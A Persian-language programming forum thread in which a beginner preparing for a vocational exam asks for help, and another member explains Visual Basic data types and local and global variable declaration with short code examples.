دوستان در اين زمينه اگر امکان دارد با نشان دادن و آوردن مثال من را در خصوص فراگيري ياري کنيد :AA:
ضمنا يادتون باشه اگر تونستيد به من کمک کنيد به اين معني است که من يک قدم به جلو رفتم و به ادامه کار تشويق ميشوم - وقتي ادامه بدم با کند ذهني که من دارم باز از شما دوستان سوال خواهم کرد - خلاصه تا انجا که من حرفه اي بشوم مزاحمتان خواهم بود :o :o

ممنون از کمکي که خواهيد کرد و زماني که جهت کمک به من مصرف ميکنيد . :razz: :razz:

Captain
Captain
پست: 432
تاریخ عضویت: چهار شنبه 11 بهمن 1385, 8:03 pm
محل اقامت: www.centralclubs.com
سپاس‌های ارسالی: 9 بار
سپاس‌های دریافتی: 16 بار

پست توسط dewdrop » پنج شنبه 24 خرداد 1386, 6:47 pm

rampcoجان ، چرا قاطي كردي دوست من .

ببين دوست من :

انواع داده اي كه در vb يا هر زبان ديگه اي ميتونيم از اون استفاده كنيم به دو دسته تقسيم ميشوند.

*داده هاي عددي
*داده هاي غير عددي


دادهاي عددي در ويژوال بيسيك به دو تقسيم مي شوند. :-o

*اعداد صحيح
*اعداد اعشاري

كه انواع عدد صحيح با توجه به نيازي كه به محدوده اعداد در حافظه داريد به انواع زير دسته بندي ميشوند:

1-byte: رنج عددي بين 0 تا 255
2-integer: رنج عددي بين 32768- تا 32767
3-long: رنج عددي بين 2- ميليارد تا 2 ميليارد (البته اگر اشتباه نكنم)

انواع داده اعشاري: كه رنج اعداد رو متاسفانه يادم نميايد .

1- single : مقدار حافظه اي كه اشغال ميكنه 4 بايت
2-double: مقدار ............................ 8 بايت
4-currency: مقدار............................8 بايت
3-decimal :كه براي اعداد اعشاري خيلي خيلي بزرگ استفاده ميشه و 12 باي هم حافظه اشغال ميكنه.

*دادهاي غر عددي

1-string:يه اندازه طول رشته فضا اشغال ميكنه.
2-date: براي مواردي استفاده ميشود كه مي خواهيم اطلاعات تاريخ و ساعت رو مشخص كنيم
3-bolean : كه دو مقدارtrue و false هست
4-varient: كه زماني استفاده ميكنيم كه از قبل مشخص نيست با چه نوع دادهاي سروكار داريم و اين نوع متغير ميتواند هر نوع مقداري را در خود جاي دهد.


اميدوارم تا اينجا با انواع داده به خوبي آشنا شده باشي.ما در vb مقدماتي با انواع معروف بيشتر سرو كار داريم .

اما براي تعريف متغير.

تعريف متغير به دو شكل هست.

*متغير هاي سراسري (global)
*متغيرهاي محلي(local)

متغير هاي محلي ،متغير هايي هستند كه در ناحيه اي از برنامه ،مثلا در داخل يك تابع،معتبر ميباشند.اين متغير ها معمولا در داخل يك تابع تعريف شده ،در همان تابع استفاده شده و با پايان يافتن تابع از بين ميروند .

و به صورت زير داخل يك تابع تعريف ميشوند.

DIM varname as datatype

dim:ثابت است
varname:نام متغير
datatype:يكي از انواع داده اي كه براتون بالا توضيح دادم

حال مثلا ميشه با يك dim چند تا متغير از يك نوع تعريف كرد كه با به شكل زير بنويسيم.
DIM a,b,c as integer

يا ميتونيم با يك dim متغير هايي را در انواع مختلف تعريف كنيم

DIM a as integer , b as variant

حال اگر يك textbox داشته باشي و بخواي يك متغير از نوع عددي تعريف كني به شكل زير ميشود.

کد: انتخاب همه

Private Sub Text1_Click()
Dim a As Integer
a = 20
Text1.Text = a + a
End Sub


و اگر بخواهي سراسري متغيري رو تعريف كني بايد خط اول فرم به ترتيب زير عمل كنيد:

public varname as datatype

PUBLIC:ثابت است
varname:نام متغير
datatype:نوع متغير

كه اگر بخواهيم متغر بالا رو به صورت سراسري تعريف كنيم كد به شكل زير ميشه:

کد: انتخاب همه

Public a As Integer
--------------------------------
Private Sub Text1_Click()

a = 20
Text1.Text = a + a
End Sub


حال اين نوع تعريف براي دادهاي عددي بود .براي داده هاي غير عددي هم به همين صورت هست. فقط براي داده هاي رشته اي ميتوني طول رشته هم تعريف كني مثلا كد زير:

DIM strcity as string*15

اين كد يك متغير رشته اي به نام strcity با طول 15 كاراكتر ايجاد ميكنه يعني زمان اجرا شما تا 15 كاراكتر مجاز هستيد كه داخل اين متغير قرار دهيد.


حالا من دقيقا نميدونم شما كجاي كد نويسي به مشكل خورديد. هر جايي كه در رابطه با متغير ها سوال داريد بفرماييد . من تا اونجايي كه در توانم باشه شما رو راهنمايي ميكنم.

New Member
پست: 5
تاریخ عضویت: چهار شنبه 16 اسفند 1385, 8:29 am

پست توسط rampco » جمعه 1 تیر 1386, 1:13 pm

felowers جان سلام
خيلي ممنون از توضيحات که دادي
راستش را بخواهي من دارم براي امتحانات کار و دانش خودم را آماده ميکنم تا بتونم ديپلم بگيرم ولي چون شاغل هستم نميتونم کلاس برم .
اگر بتونيد چند تا مثال نه چندان مشکل براي من در اينجا قرار بدين ممنون ميشوم مثلا در خصوص :

IF , IF ELSE , SELECT CASE, LOOP , NESTED FOR WHILE ...WEND چند تا برنامه مثال برنيد ممتون ميشوم .

شرمنده از اينکه وقتت را ميگيرم :razz: :) :)

ارسال پست

بازگشت به “برنامه نويسي”